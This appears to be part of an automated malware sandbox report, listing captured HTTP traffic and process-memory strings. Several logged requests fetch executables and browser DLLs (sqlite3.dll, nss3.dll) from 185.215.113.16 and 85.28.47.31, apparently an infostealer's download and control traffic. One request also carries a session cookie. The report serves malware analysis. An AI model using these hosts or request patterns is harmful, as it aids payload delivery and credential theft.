Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k+CFrVfwfDyLu+h&MD=zZCe4Eut HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=k+CFrVfwfDyLu+h&MD=zZCe4Eut HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.75/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.150"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150", "Google Chrome";v="117.0.5938.150"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: NID=516=hoEfo425YnKdFGHqMFfRYCfYV9ZeWx-yRvThiBrQp37vIZPKX09WdWdTReSgKyFqb9gQk5gXCSFIvz9cIXxZpfKpRKqljJFPZiza4ILadO68fCRsIt7dFHG1CYdAvLyDZ-Uzl4rUwt3dUfP-2OKpDg3jNBFgqGIcACNEFWs5LVKuJq8
Source: global traffic	HTTP traffic detected: GET /assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ProductCategoriesSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/freebl3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/mozglue.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/msvcp140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/nss3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/softokn3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8405906461a5200c/vcruntime140.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/enter.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000016.00000003.2993742632.0000018932761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000016.00000003.2993742632.0000018932761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2786986644.00000271F8E70000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012330529.00000197D9F10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account" equals www.youtube.com (Youtube)
Source: firefox.exe, 00000013.00000002.2813219119.000001729F300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 00000013.00000002.2813219119.000001729F300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevationH equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.3015863881.0000020634003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000002B.00000002.3012524075.0000020633CB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/accountO equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3253256201.00000189372AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.everestjs.net/static/st.v3.js://.imgur.io/js/vendor..bundle.js://s.webtrends.com/js/webtrends.js://.moatads.com//moatheader.js://s.webtrends.com/js/webtrends.min.js://www.google-analytics.com/plugins/ua/ec.js://js.maxmind.com/js/apis/geoip2//geoip2.js://.imgur.com/js/vendor..bundle.js://ssl.google-analytics.com/ga.js://c.amazon-adsystem.com/aax2/apstag.js://static.chartbeat.com/js/chartbeat.js://www.rva311.com/static/js/main..chunk.js://auth.9c9media.ca/auth/main.js://static.criteo.net/js/ld/publishertag.js://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//all.js://www.google-analytics.com/analytics.js://www.google-analytics.com/gtm/js*://static.adsafeprotected.com/iasPET.1.js://www.googletagmanager.com/gtm.js*://imasdk.googleapis.com/js/sdkloader/ima3.js://pagead2.googlesyndication.com/tag/js/gpt.js*://cdn.adsafeprotected.com/iasPET.1.js://cdn.optimizely.com/public/.js://.vidible.tv//vidible-min.js://pub.doubleverify.com/signals/pub.js://connect.facebook.net//sdk.js://s0.2mdn.net/instream/html5/ima3.js://www.googletagservices.com/tag/js/gpt.js://adservex.media.net/videoAds.js://static.chartbeat.com/js/chartbeat_video.js://libs.coremetrics.com/eluminate.js://s.webtrends.com/js/advancedLinkTracking.js equals www.facebook.com (Facebook)
Source: firefox.exe, 00000016.00000003.3253058406.00000189372BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3243875790.0000018945932000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000016.00000003.3069241995.00000189317EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3359286606.0000018944534000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3359286606.0000018944539000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000016.00000003.3359286606.0000018944534000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3357377046.00000189447C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3357377046.0000018944721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000016.00000003.3069241995.00000189317EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.2932981403.00000189378AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000003.3071435574.00000189317E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000011.00000002.2812209042.00000271FA960000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 8p8https://www.youtube.com/account --attempting-deelevationUser equals www.youtube.com (Youtube)
